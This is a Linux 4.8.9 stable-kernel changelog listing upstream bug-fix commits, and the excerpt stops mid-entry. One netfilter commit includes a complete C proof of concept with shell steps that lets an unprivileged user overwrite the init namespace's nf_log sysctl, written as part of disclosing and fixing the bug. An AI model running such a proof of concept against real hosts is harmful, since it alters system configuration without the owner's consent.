commit 876577321657a5763371aec69717453b42f494ad Author: Greg Kroah-Hartman Date: Fri Nov 18 10:57:55 2016 +0100 Linux 4.8.9 commit 07d00beb1e04e5fa040bb41bc142c5b845eb6266 Author: Jann Horn Date: Sun Sep 18 21:40:55 2016 +0200 netfilter: fix namespace handling in nf_log_proc_dostring commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream. nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman commit 8ef009e09c130c2a872cda261ced7147d3dca966 Author: Imre Deak Date: Thu Oct 13 14:34:06 2016 +0300 drm/i915: Fix mismatched INIT power domain disabling during suspend commit fd58753ead86ee289ea89fe26e1842f36e54b36c upstream. Currently the display INIT power domain disabling/enabling happens in a mismatched way in the suspend/resume_early hooks respectively. This can leave display power wells incorrectly disabled in the resume hook if the suspend sequence is aborted for some reason resulting in the suspend/resume hooks getting called but the suspend_late/resume_early hooks being skipped. In particular this change fixes "Unclaimed read from register 0x1e1204" on BYT/BSW triggered from i915_drm_resume()-> intel_pps_unlock_regs_wa() when suspending with /sys/power/pm_test set to devices. Fixes: 85e90679335f ("drm/i915: disable power wells on suspend") Cc: Ville Syrjälä Cc: David Weinehall Signed-off-by: Imre Deak Reviewed-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1476358446-11621-1-git-send-email-imre.deak@intel.com (cherry picked from commit 4c494a5769cd0de92638b25960ba0158c36088a6) Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman commit 88a45e5d2c0d4bc2a79d33af411068992d07d564 Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:45 2016 +0300 drm/amdgpu: fix a vm_flush fence leak commit 2d7c17be00e0dce3bc1a092a2c277a9f86c69ca9 upstream. Looks like .last_flush reference is left at teardown. Leak reported by CONFIG_SLUB_DEBUG. Fixes: 41d9eb2c5a2a ("drm/amdgpu: add a fence after the VM flush") Reviewed-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit 25ed6e4b0b651d84cc88e1347d34d186f45146ec Author: Grazvydas Ignotas Date: Sun Oct 23 21:31:43 2016 +0300 drm/amdgpu: fix fence slab teardown commit 0f10425e811355986907c54f7d1d06703e406092 upstream. To free fences, call_rcu() is used, which calls amdgpu_fence_free() after a grace period. During teardown, there is no guarantee all callbacks have finished, so amdgpu_fence_slab may be destroyed before all fences have been freed. If we are lucky, this results in some slab warnings, if not, we get a crash in one of rcu threads because callback is called after amdgpu has already been unloaded. Fix it with a rcu_barrier(). Fixes: b44135351a3a ("drm/amdgpu: RCU protected amdgpu_fence_release") Acked-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman commit de5e9aa77a3c4a4a340a2e7191912222bfd34ec4 Author: Arnd Bergmann Date: Tue Oct 18 00:05:35 2016 +0200 NFSv4.1: work around -Wmaybe-uninitialized warning commit 68a564006a21ae59c7c51b4359e2e8efa42ae4af upstream. A bugfix introduced a harmless gcc warning in nfs4_slot_seqid_in_use if we enable -Wmaybe-uninitialized again: fs/nfs/nfs4session.c:203:54: error: 'cur_seq' may be used uninitialized in this function [-Werror=maybe-uninitialized] gcc is not smart enough to conclude that the IS_ERR/PTR_ERR pair results in a nonzero return value here. Using PTR_ERR_OR_ZERO() instead makes this clear to the compiler. The warning originally did not appear in v4.8 as it was globally disabled, but the bugfix that introduced the warning got backported to stable kernels which again enable it, and this is now the only warning in the v4.7 builds. Fixes: e09c978aae5b ("NFSv4.1: Fix Oopsable condition in server callback races") Signed-off-by: Arnd Bergmann Cc: Trond Myklebust Signed-off-by: Anna Schumaker Signed-off-by: Greg Kroah-Hartman commit 18c801047a181620db2336e55e7c300e42f3e549 Author: Yan, Zheng Date: Wed Nov 9 16:42:48 2016 +0800 libceph: fix legacy layout decode with pool 0 commit 3890dce1d3a8b9fe3bc36de99496792e468cd079 upstream. If your data pool was pool 0, ceph_file_layout_from_legacy() transform that to -1 unconditionally, which broke upgrades. We only want do that for a fully zeroed ceph_file_layout, so that it still maps to a file_layout_t. If any fields are set, though, we trust the fl_pgpool to be a valid pool. Fixes: 7627151ea30bc ("libceph: define new ceph_file_layout structure") Link: http://tracker.ceph.com/issues/17825 Signed-off-by: Yan, Zheng Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman commit 53c1792b94daaa131e9ab0ac6e538b0a3f5bbd45 Author: Greg Thelen Date: Thu Nov 10 10:46:41 2016 -0800 memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB commit f773e36de3d77c4000ca914c9d146f55f2fd51e8 upstream. While testing OBJFREELIST_SLAB integration with pagealloc, we found a bug where kmem_cache(sys) would be created with both CFLGS_OFF_SLAB & CFLGS_OBJFREELIST_SLAB. When it happened, critical allocations needed for loading drivers or creating new caches will fail. The original kmem_cache is created early making OFF_SLAB not possible. When kmem_cache(sys) is created, OFF_SLAB is possible and if pagealloc is enabled it will try to enable it first under certain conditions. Given kmem_cache(sys) reuses the original flag, you can have both flags at the same time resulting in allocation failures and odd behaviors. This fix discards allocator specific flags from memcg before calling create_cache. The bug exists since 4.6-rc1 and affects testing debug pagealloc configurations. Fixes: b03a017bebc4 ("mm/slab: introduce new slab management type, OBJFREELIST_SLAB") Link: http://lkml.kernel.org/r/1478553075-120242-1-git-send-email-thgarnie@google.com Signed-off-by: Greg Thelen Signed-off-by: Thomas Garnier Tested-by: Thomas Garnier Acked-by: Christoph Lameter Cc: Pekka Enberg Cc: David Rientjes Cc: Joonsoo Kim Cc: Vladimir Davydov Cc: Michal Hocko Cc: Johannes Weiner Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 02e1ee6b3e1c96df13cbb38d193251051d5789aa Author: Fabio Estevam Date: Sat Nov 5 17:45:07 2016 -0200 mmc: mxs: Initialize the spinlock prior to using it commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream. An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock. In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts. Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28) Signed-off-by: Fabio Estevam Reviewed-by: Marek Vasut Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit ce0702e35aeb7551102f3e561387ab7eb3e40b91 Author: Ray Jui Date: Mon Oct 17 18:41:41 2016 -0700 pinctrl: iproc: Fix iProc and NSP GPIO support commit 091c531b09c151c2d712a8f347009ca3698a2467 upstream. Since commit 44a7185c2ae6 ("of/platform: Add common method to populate default bus"), ARM64 platform devices are populated at the arch_initcall_sync level; as a result, the platform_driver_probe calls in both the iProc and NSP GPIO drivers fail with -ENODEV since by that time the platform device was not yet registered. Replace platform_driver_probe with platform_driver_register, that allow the device to be register later Fixes: 44a7185c2ae6 ("of/platform: Add common method to populate default bus") Signed-off-by: Ray Jui Tested-by: Eric Anholt Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit 320244ac9eb66ea498b7b5b155e86946d4f47f76 Author: Chen-Yu Tsai Date: Mon Oct 31 14:42:09 2016 +0800 ASoC: sun4i-codec: return error code instead of NULL when create_card fails commit 85915b63ad8b796848f431b66c9ba5e356e722e5 upstream. When sun4i_codec_create_card fails, we do not assign a proper error code to the return value. The return value would be 0 from the previous function call, or we would have bailed out sooner. This would confuse the driver core into thinking the device probe succeeded, when in fact it didn't, leaving various devres based resources lingering. Make the create_card function pass back a meaningful error code, and assign it to the return value. Fixes: 45fb6b6f2aa3 ("ASoC: sunxi: add support for the on-chip codec on early Allwinner SoCs") Signed-off-by: Chen-Yu Tsai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman commit 2140d4fd92772a4623514a18a7dd790fc57dc004 Author: Lukas Wunner Date: Thu Oct 20 12:26:16 2016 +0200 ASoC: Intel: Skylake: Always acquire runtime pm ref on unload commit 6d13f62d931ba638e54ba56f3a7dd3080ffb485a upstream. skl_probe() releases a runtime pm ref unconditionally wheras skl_remove() acquires one only if the device is wakeup capable. Thus if the device is not wakeup capable, unloading and reloading the module will result in the refcount being decreased below 0. Fix it. Fixes: d8c2dab8381d ("ASoC: Intel: Add Skylake HDA audio driver") Signed-off-by: Lukas Wunner Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman commit 5037fdbc62c27422a319e90be18a534d2cc17ef9 Author: Masahiro Yamada Date: Tue Oct 25 10:47:44 2016 +0900 gpio: of: fix GPIO drivers with multiple gpio_chip for a single node commit c7e9d39831a31682285cc31ddf7dd06c0fe59138 upstream. Sylvain Lemieux reports the LPC32xx GPIO driver is broken since commit 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and struct gg_data"). Probably, gpio-etraxfs.c and gpio-davinci.c are broken too. Those drivers register multiple gpio_chip that are associated to a single OF node, and their own .of_xlate() checks if the passed gpio_chip is valid. Now, the problem is of_find_gpiochip_by_node() returns the first gpio_chip found to match the given node. So, .of_xlate() fails, except for the first GPIO bank. Reverting the commit could be a solution, but I do not want to go back to the mess of struct gg_data. Another solution here is to take the match by a node pointer and the success of .of_xlate(). It is a bit clumsy to call .of_xlate twice; for gpio_chip matching and for really getting the gpio_desc index. Perhaps, our long-term goal might be to convert the drivers to single chip registration, but this commit will solve the problem until then. Fixes: 762c2e46c059 ("gpio: of: remove of_gpiochip_and_xlate() and struct gg_data") Signed-off-by: Masahiro Yamada Reported-by: Sylvain Lemieux Tested-by: David Lechner Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit 7a9239fd04802ee6ddf82d211cff3ee7df9c473a Author: Jason Gunthorpe Date: Wed Oct 19 15:03:41 2016 -0600 gpio/mvebu: Use irq_domain_add_linear commit 812d47889a8e418d7bea9bec383581a34c19183e upstream. This fixes the irq allocation in this driver to not print: irq: Cannot allocate irq_descs @ IRQ34, assuming pre-allocated irq: Cannot allocate irq_descs @ IRQ66, assuming pre-allocated Which happens because the driver already called irq_alloc_descs() and so the change to use irq_domain_add_simple resulted in calling irq_alloc_descs() twice. Modernize the irq allocation in this driver to use the irq_domain_add_linear flow directly and eliminate the use of irq_domain_add_simple/legacy Fixes: ce931f571b6d ("gpio/mvebu: convert to use irq_domain_add_simple()") Signed-off-by: Jason Gunthorpe Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman commit 6de98e87effb2078f2bd5bc5b354dc50808b85b5 Author: Sven Eckelmann Date: Thu Sep 29 17:22:58 2016 +0200 batman-adv: Modify neigh_list only with rcu-list functions commit 9ca488dd53088d4fcc97258aeeccf21f63b7da1e upstream. The batadv_hard_iface::neigh_list is accessed via rcu based primitives. Thus all operations done on it have to fulfill the requirements by RCU. So using non-RCU mechanisms like hlist_add_head is not allowed because it misses the barriers required to protect concurrent readers when accessing the data behind the pointer. Fixes: cef63419f7db ("batman-adv: add list of unique single hop neighbors per hard-interface") Signed-off-by: Sven Eckelmann Acked-by: Linus Lüssing Signed-off-by: Simon Wunderlich Signed-off-by: Greg Kroah-Hartman commit a3f000ce7b4447a33569ea3cddc6b29cf90f740a Author: Sinan Kaya Date: Mon Oct 24 00:31:32 2016 -0400 ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs commit 98756f5319c64c883caa910dce702d9edefe7810 upstream. Commit 103544d86976 ("ACPI,PCI,IRQ: reduce resource requirements") replaced the addition of PIRQ_PENALTY_PCI_USING in acpi_pci_link_allocate() with an addition in acpi_irq_pci_sharing_penalty(), but f7eca374f000 ("ACPI,PCI,IRQ: separate ISA penalty calculation") removed the use of acpi_irq_pci_sharing_penalty() for ISA IRQs. Therefore, PIRQ_PENALTY_PCI_USING is missing from ISA IRQs used by interrupt links. Include that penalty by adding it in the acpi_pci_link_allocate() path. Fixes: f7eca374f000 (ACPI,PCI,IRQ: separate ISA penalty calculation) Signed-off-by: Sinan Kaya Acked-by: Bjorn Helgaas Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman commit 6c76dd0c70662573615fd5aa4c3d0763da24d6e8 Author: Sinan Kaya Date: Mon Oct 24 00:31:31 2016 -0400 ACPI/PCI: pci_link: penalize SCI correctly commit f1caa61df2a3dc4c58316295c5dc5edba4c68d85 upstream. Ondrej reported that IRQs stopped working in v4.7 on several platforms. A typical scenario, from Ondrej's VT82C694X/694X, is: ACPI: Using PIC for interrupt routing ACPI: PCI Interrupt Link [LNKA] (IRQs 1 3 4 5 6 7 10 *11 12 14 15) ACPI: No IRQ available for PCI Interrupt Link [LNKA] 8139too 0000:00:0f.0: PCI INT A: no GSI We're using PIC routing, so acpi_irq_balance == 0, and LNKA is already active at IRQ 11. In that case, acpi_pci_link_allocate() only tries to use the active IRQ (IRQ 11) which also happens to be the SCI. We should penalize the SCI by PIRQ_PENALTY_PCI_USING, but irq_get_trigger_type(11) returns something other than IRQ_TYPE_LEVEL_LOW, so we penalize it by PIRQ_PENALTY_ISA_ALWAYS instead, which makes acpi_pci_link_allocate() assume the IRQ isn't available and give up. Add acpi_penalize_sci_irq() so platforms can tell us the SCI IRQ, trigger, and polarity directly and we don't have to depend on irq_get_trigger_type(). Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements) Link: http://lkml.kernel.org/r/201609251512.05657.linux@rainbow-software.org Reported-by: Ondrej Zary Acked-by: Bjorn Helgaas Signed-off-by: Sinan Kaya Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman commit 86c711665c84dc4b37027be89223cfa0784cebc9 Author: Sinan Kaya Date: Mon Oct 24 00:31:30 2016 -0400 ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages commit eeaed4bb5a35591470b545590bb2f26dbe7653a2 upstream. We do not want to store the SCI penalty in the acpi_isa_irq_penalty[] table because acpi_isa_irq_penalty[] only holds ISA IRQ penalties and there's no guarantee that the SCI is an ISA IRQ. We add in the SCI penalty as a special case in acpi_irq_get_penalty(). But if we called acpi_penalize_isa_irq() or acpi_irq_penalty_update() for an SCI that happened to be an ISA IRQ, they stored the SCI penalty (part of the acpi_irq_get_penalty() return value) in acpi_isa_irq_penalty[]. Subsequent calls to acpi_irq_get_penalty() returned a penalty that included *two* SCI penalties. Fixes: 103544d86976 (ACPI,PCI,IRQ: reduce resource requirements) Signed-off-by: Sinan Kaya Acked-by: Bjorn Helgaas Tested-by: Jonathan Liu Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman commit ad185d9251e125913f5866ac956c15345d5bf002 Author: Punit Agrawal Date: Tue Oct 18 17:07:19 2016 +0100 ACPI / APEI: Fix incorrect return value of ghes_proc() commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream. Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value. Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support) Signed-of-by: Punit Agrawal Tested-by: Tyler Baicar Reviewed-by: Borislav Petkov [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman commit b55ebc89ab1da1eaf1f36c45fa3bb50d0eb89988 Author: Wei Yongjun Date: Wed Oct 26 15:04:41 2016 +0000 mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() commit d1f63f0c81c22ba705fcd149a1fcec37b734d818 upstream. Fix to return a negative error code from the platform_get_irq_byname() error handling case instead of 0, as done elsewhere in this function. Fixes: ad81d3871004 ("mmc: sdhci-msm: Add support for UHS cards") Signed-off-by: Wei Yongjun Acked-by: Adrian Hunter Acked-by: Georgi Djakov Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman commit 85284c0850f9db2f4ce2b50e0bf069b448de7573 Author: Huaibin Wang Date: Mon Sep 26 09:51:18 2016 +0200 i40e: fix call of ndo_dflt_bridge_getlink() commit 599b076d15ee3ead7af20fc907079df00b2d59a0 upstream. Order of arguments is wrong. The wrong code has been introduced by commit 7d4f8d871ab1, but is compiled only since commit 9df70b66418e. Note that this may break netlink dumps. Fixes: 9df70b66418e ("i40e: Remove incorrect #ifdef's") Fixes: 7d4f8d871ab1 ("switchdev; add VLAN support for port's bridge_getlink") CC: Carolyn Wyborny Signed-off-by: Huaibin Wang Signed-off-by: Nicolas Dichtel Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher Signed-off-by: Greg Kroah-Hartman commit 1242c9dfab0c9181a86e07199450ff925a4fb4ab Author: Andrew Lutomirski Date: Mon Oct 17 10:06:27 2016 -0700 hwrng: core - Don't use a stack buffer in add_early_randomness() commit 6d4952d9d9d4dc2bb9c0255d95a09405a1e958f7 upstream. hw_random carefully avoids using a stack buffer except in add_early_randomness(). This causes a crash in virtio_rng if CONFIG_VMAP_STACK=y. Reported-by: Matt Mullins Tested-by: Matt Mullins Fixes: d3cc7996473a ("hwrng: fetch randomness only after device init") Signed-off-by: Andy Lutomirski Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman commit c1a2ada73dacd528a9a76936cfa1496981f0ea64 Author: Daniel Mentz Date: Thu Oct 27 17:46:59 2016 -0700 lib/genalloc.c: start search from start of chunk commit 62e931fac45b17c2a42549389879411572f75804 upstream. gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request. The shortcut if (size > atomic_read(&chunk->avail)) continue; makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail: (1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation. (2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory. In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks. Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless") Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com Signed-off-by: Daniel Mentz Reviewed-by: Mathieu Desnoyers Acked-by: Will Deacon Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman commit 06bb5ebedbb4da6236e1ffb57031c01088127444 Author: Heiko Carstens Date: Mon Oct 17 11:08:31 2016 +0200 s390/dumpstack: restore reliable indicator for call traces commit d0208639dbc6fe97a25054df44faa2d19aca9380 upstream. Before merging all different stack tracers the call traces printed had an indicator if an entry can be considered reliable or not. Unreliable entries were put in braces, reliable not. Currently all lines contain these extra braces. This patch restores the old behaviour by adding an extra "reliable" parameter to the callback functions. Only show_trace makes currently use of it. Before: [ 0.804751] Call Trace: [ 0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0) [ 0.804756] ([<0000000000161d64>] create_worker+0x174/0x1c0) After: [ 0.804751] Call Trace: [ 0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0) [ 0.804756] [<0000000000161d64>] create_worker+0x174/0x1c0 Fixes: 758d39ebd3d5 ("s390/dumpstack: merge all four stack tracers") Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman commit 1ef1bd02ad232e57a666fcd6ae72b98569b3b78b Author: Christophe JAILLET Date: Tue Aug 9 13:58:27 2016 +0200 rtc: pcf2123: Add missing error code assignment before test commit 83ab7dad06b74e390c2ce0e7b5136daf286e1f5e upstream. It is likely that checking the result of 'pcf2123_write_reg' is expected here. Also fix a small style issue. The '{' at the beginning of the function is misplaced. Fixes: 809b453b76e15 ("rtc: pcf2123: clean up writes to the rtc chip") Signed-off-by: Christophe JAILLET Signed-off-by: Alexandre Belloni Signed-off-by: Greg Kroah-Hartman commit 4baabb72e9dd90cdb916b7fdde850235c3fd892e Author: Javier Martinez Canillas Date: Sun Oct 16 10:45:07 2016 -0300 clk: samsung: clk-exynos-audss: Fix module autoload commit 34b89b2967f284937be6759936ef3dc4d3aff2d0 upstream. If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias alias: platform:exynos-audss-clk After this patch: $ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias alias: platform:exynos-audss-clk alias: of:N*T*Csamsung,exynos5420-audss-clockC* alias: of:N*T*Csamsung,exynos5420-audss-clock alias: of:N*T*Csamsung,exynos5410-audss-clockC* alias: of:N*T*Csamsung,exynos5410-audss-clock alias: of:N*T*Csamsung,exynos5250-audss-clockC* alias: of:N*T*Csamsung,exynos5250-audss-clock alias: of:N*T*Csamsung,exynos4210-audss-clockC* alias: of:N*T*Csamsung,exynos4210-audss-clock Fixes: 4d252fd5719b ("clk: samsung: Allow modular build of the Audio Subsystem CLKCON driver") Signed-off-by: Javier Martinez Canillas Reviewed-by: Krzysztof Kozlowski Tested-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman commit 3bbdbd8aa3c857e2c59d591fdd9bdae801acb5ca Author: Jan Beulich Date: Mon Oct 24 09:00:12 2016 -0600 x86/build: Fix build with older GCC versions commit a2209b742e6cf978b85d4f31a25a269c3d3b062b upstream. Older GCC (observed with 4.1.x) doesn't support -Wno-override-init and also doesn't ignore unknown -Wno-* options. Signed-off-by: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Valdis Kletnieks Cc: Valdis.Kletnieks@vt.edu Fixes: 5e44258d16 "x86/build: Reduce the W=1 warnings noise when compiling x86 syscall tables" Link: http://lkml.kernel.org/r/580E3E1C02000078001191C4@prv-mh.provo.novell.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman commit f5eadc27a60c14653ccd8017d303aefc773be2f6 Author: Chen-Yu Tsai Date: Tue Oct 18 13:49:18 2016 +0800 Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" commit 593876838826914a7e4e05fbbcb728be6fbc4d89 upstream. struct clocksource is also used by the clk notifier callback, to unregister and re-register the clocksource with a different clock rate. clocksource_mmio_init does not pass back a pointer to the struct used, and the clk notifier callback assumes that the struct clocksource in struct sun5i_timer_clksrc is valid. This results in a kernel NULL pointer dereference when the hstimer clock is changed: Unable to handle kernel NULL pointer dereference at virtual address 00000004 [] (clocksource_unbind) from [] (clocksource_unregister+0x2c/0x44) [] (clocksource_unregister) from [] (sun5i_rate_cb_clksrc+0x34/0x3c) [] (sun5i_rate_cb_clksrc) from [] (notifier_call_chain+0x44/0x84) [] (notifier_call_chain) from [] (__srcu_notifier_call_chain+0x44/0x60) [] (__srcu_notifier_call_chain) from [] (srcu_notifier_call_chain+0x18/0x20) [] (srcu_notifier_call_chain) from [] (__clk_notify+0x70/0x7c) [] (__clk_notify) from [] (clk_propagate_rate_change+0xa4/0xc4) [] (clk_propagate_rate_change) from [] (clk_propagate_rate_change+0x6c/0xc4) Revert the commit for now. clocksource_mmio_init can be made to pass back a pointer, but the code churn and usage of an inner struct might not be worth it. Fixes: 157dfadef832 ("clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init") Reported-by: Maxime Ripard Signed-off-by: Chen-Yu Tsai Cc: linux-sunxi@googlegroups.com Cc: Daniel Lezcano Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/20161018054918.26855-1-wens@csie.org Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman commit 645a6b823739d2a894a7bb865815a71ed2202b4c Author: Keith Busch Date: Wed Oct 12 09:22:16 2016 -0600 nvme: Delete created IO queues on reset commit 7065906096273b39b90a512a7170a6697ed94b23 upstream. The driver was decrementing the online_queues prior to attempting to delete those IO queues, so the driver ended up not requesting the controller delete any. This patch saves the online_queues prior to suspending them, and adds that parameter for deleting io queues. Fixes: c21377f8 ("nvme: Suspend all queues before deletion") Signed-off-by: Keith Busch Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman commit 07c4cbe0134111fe10e6eab2a16a6d23c5134392 Author: Chuck Lever Date: Tue Sep 13 10:52:50 2016 -0400 svcrdma: Tail iovec leaves an orphaned DMA mapping commit cace564f8b6260e806f5e28d7f192fd0e0c603ed upstream. The ctxt's count field is overloaded to mean the number of pages in the ctxt->page array and the number of SGEs in the ctxt->sge array. Typically these two numbers are the same. However, when an inline RPC reply is constructed from an xdr_buf with a tail iovec, the head and tail often occupy the same page, but each are DMA mapped independently. In that case, ->count equals the number of pages, but it does not equal the number of SGEs. There's one more SGE, for the tail iovec. Hence there is one more DMA mapping than there are pages in the ctxt->page array. This isn't a real problem until the server's iommu is enabled. Then each RPC reply that has content in that iovec orphans a DMA mapping that consists of real resources. krb5i and krb5p always populate that tail iovec. After a couple million sent krb5i/p RPC replies, the NFS server starts behaving erratically. Reboot is needed to clear the problem. Fixes: 9d11b51ce7c1 ("svcrdma: Fix send_reply() scatter/gather set-up") Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman commit 4131e00a436e1f237841f996a239ea081da0761e Author: Chuck Lever Date: Tue Sep 13 10:52:59 2016 -0400 svcrdma: Skip put_page() when send_reply() fails commit 9995237bba702281e0e8e677edd5bb225f4f6c30 upstream. Message from syslogd@klimt at Aug 18 17:00:37 ... kernel:page:ffffea0020639b00 count:0 mapcount:0 mapping: (null) index:0x0 Aug 18 17:00:37 klimt kernel: flags: 0x2fffff80000000() Aug 18 17:00:37 klimt kernel: page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0) Aug 18 17:00:37 klimt kernel: kernel BUG at /home/cel/src/linux/linux-2.6/include/linux/mm.h:445! Aug 18 17:00:37 klimt kernel: RIP: 0010:[] svc_rdma_sendto+0x641/0x820 [rpcrdma] send_reply() assigns its page argument as the first page of ctxt. On error, send_reply() already invokes svc_rdma_put_context(ctxt, 1); which does a put_page() on that very page. No need to do that again as svc_rdma_sendto exits. Fixes: 3e1eeb980822 ("svcrdma: Close connection when a send error occurs") Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman commit 755ab7aa14663b486735a9937784d87daa157a7e Author: Alexander Usyskin Date: Mon Oct 31 19:02:39 2016 +0200 mei: bus: fix received data size check in NFC fixup commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream. NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data. That leads to warnings when version data is accessed: drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2 Reported in Build regressions/improvements in v4.9-rc3 https://lkml.org/lkml/2016/10/30/57 Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation) Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman commit d1b564536c6a15425143e42c3d5ad9c979857476 Author: Namhyung Kim Date: Fri Oct 7 14:04:12 2016 +0900 perf top: Fix refreshing hierarchy entries on TUI commit c611152373e84a7677cd7d496e849de4debdab66 upstream. Markus reported that 'perf top --hierarchy' cannot scroll down after refresh. This was because the number of entries are not updated when hierarchy is enabled. Unlike normal report view, hierarchy mode needs to keep its own entry count since it can have non-leaf entries which can expand/collapse. Reported-and-Tested-by: Markus Trippelsdorf Signed-off-by: Namhyung 